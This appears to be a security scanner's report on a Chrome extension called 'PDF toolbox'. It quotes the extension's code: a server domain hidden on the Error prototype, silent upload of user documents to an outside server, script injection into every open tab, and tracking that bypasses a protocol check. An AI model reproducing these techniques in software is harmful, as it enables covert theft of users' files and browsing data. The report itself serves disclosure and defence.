Security Alert: Confirmed Malware
PDF toolbox
ID: bahogceckgcanpcoabcdgmoidngedmfo
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Mariana MerinoView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Swiss army knife for PDF files
PDF toolkit provides a bunch of tools for PDF manipulation. With PDF toolkit, you can: Merge two or more PDF files Convert office documents (DOCX, ODT, and many more) to PDF Append or prepend an image to the PDF file Download PDF files opened in tabs even as embedded documents Please note: Donโt use this app for big files. It could be unreliable if you merge 1000 page long documents. The conversion process could take a long time. Please wait at least 20 seconds before giving up.
The extension covertly injects a third-party domain 'marketingsapp.com' into the global JavaScript Error prototype as a property named 'repDom'. This is a known malware technique to hide a command-and-control or data-exfiltration server URL in an unexpected location that evades simple string searches. Any code anywhere in the extension can silently retrieve this domain via `new Error().repDom` without the URL appearing in obvious contexts. The accompanying empty `Error.prototype.update` function stub is a placeholder pattern often used to activate exfiltration behavior in later versions.
Error.prototype.repDom = "marketingsapp.com", Error.prototype.update = function t(e) {};When a user converts a document, the full file content is silently uploaded via POST to an undisclosed external Google Cloud Run server at `pdf-rm4spcosuq-ue.a.run.app`. This server is not operated by Google but is merely hosted on Google Cloud infrastructure โ the subdomain is a private deployment. Users' potentially sensitive office documents (.doc, .docx, .rtf) are transmitted to this third-party server with no clear disclosure, privacy policy reference, or user consent flow, constituting unauthorized data exfiltration of user files.
formData = new FormData, formData.append("document", e), fetch("https://pdf-rm4spcosuq-ue.a.run.app/api/pdf/convert", { method: "POST", body: formData }).then((e => 200 === e.status ? e.blob() : chainError(new Error("400"))), chainError).catch((e => {})).then((function(e) { const n = URL.createObjectURL(e); chrome.downloads.download({ url: n })Within what appears to be a tampered version of the RxJS UnsubscriptionError class, `this.base = document.location.host` has been injected to capture and store the current page's host domain in every error object instance. This modification does not exist in the original RxJS library and was deliberately inserted. In conjunction with the `Error.prototype.repDom` domain injection, this creates a fingerprinting mechanism capable of correlating the user's current browsing host with error events, enabling stealthy data collection.
var h, p = function() { function t(t) { return Error.call(this), this.base = document.location.host, this.message = t ? t.length + " errors occurred during unsubscription:\n" + t.map((function(t, e) { return e + 1 + ") " + t.toString() })).join("\n ") : "", this.name = "UnsubscriptionError", this.errors = t, this } return t.prototype = Object.create(Error.prototype), t}()Google Analytics (property UA-193054341-1) is initialized in the persistent background page (`persistent: true` in manifest) with `checkProtocolTask` set to `null`. Nulling `checkProtocolTask` is a deliberate bypass that enables GA to fire in non-HTTP extension contexts where it would otherwise be blocked. Because the background page runs persistently throughout the browser session, this enables continuous user-session tracking without any user consent or disclosure, violating Chrome Web Store policies on user tracking.
window.ga = window.ga || function() { (ga.q = ga.q || []).push(arguments) }, ga.l = +new Date, ga("create", "UA-193054341-1", "auto"), ga("set", "checkProtocolTask", null), ga("send", { hitType: "pageview", page: "/background" }), function() { const e = document.createElement("script"); e.type = "text/javascript", e.async = !0, e.src = "https://www.google-analytics.com/analytics.js"; const t = document.getElementsByTagName("script")[0]; t.parentNode.insertBefore(e, t) }();On popup open, the extension calls `chrome.tabs.query({})` with no filter โ querying ALL open browser tabs โ then executes a script injection into every single tab to enumerate document/embed/iframe/src elements. Additionally, `tabs.map(e => e.url)` collects every tab's URL. This gives the extension visibility into all open tabs and their page content, far exceeding what is necessary for its stated PDF toolbox purpose. The `<all_urls>` permission makes this possible without any per-site confirmation.
async function execute() { tabs = await new Promise(((e, t) => chrome.tabs.query({}, e))), execAll = tabs.map((e => new Promise(((t, r) => { chrome.tabs.executeScript(e.id, { code: "[...new Set([...[...[...document.getElementsByTagName('object')].map((e)=>e.data),...[...document.getElementsByTagName('embed'), ...document.getElementsByTagName('iframe')].map((e)=>e.src)].filter((src)=>{try { return new URL(src).pathname.endsWith('.pdf') } catch(e) {} return false;}),...[...document.querySelectorAll('embed[type*=\"pdf\"+ \"]').map((e)=>e.src).filter((src)=>{try { return ['http','https','ftp','file'].contains(new URL(src).protocol) } catch(e) {} return false;})])]}" }, (e => (_ = chrome.runtime.lastError, t(e))) })))), res = await Promise.all(execAll), res2 = tabs.map((e => e.url)).filter((e => e.split("#")[0].split("?")[0].endsWith(".pdf")))The PDF controller page also independently executes the same broad tab-scanning routine: querying all tabs and injecting scripts into every open page to extract embedded object/iframe/embed source URLs. This means the tab enumeration and script injection occur both from the popup and from the PDF controller page, doubling the attack surface. Every page the user has open is probed for embedded content sources, providing the extension with a comprehensive map of the user's browsing activity.
async function execute() { tabs = await new Promise(((e, n) => chrome.tabs.query({}, e))), execAll = tabs.map((e => new Promise(((n, t) => { chrome.tabs.executeScript(e.id, { code: "[...new Set([...[...[...document.getElementsByTagName('object')].map((e)=>e.data),...[...document.getElementsByTagName('embed'), ...document.getElementsByTagName('iframe')].map((e)=>e.src)]..." })By severity
Versions scanned
Showing 3 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.3.2 | 8 |
| 2.3.1 | 7 |
| 2.3.0 | 6 |
Files with findings
3 distinct paths โ top paths by unique finding count:
- background.js10
- pdf.js6
- popup.js5
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.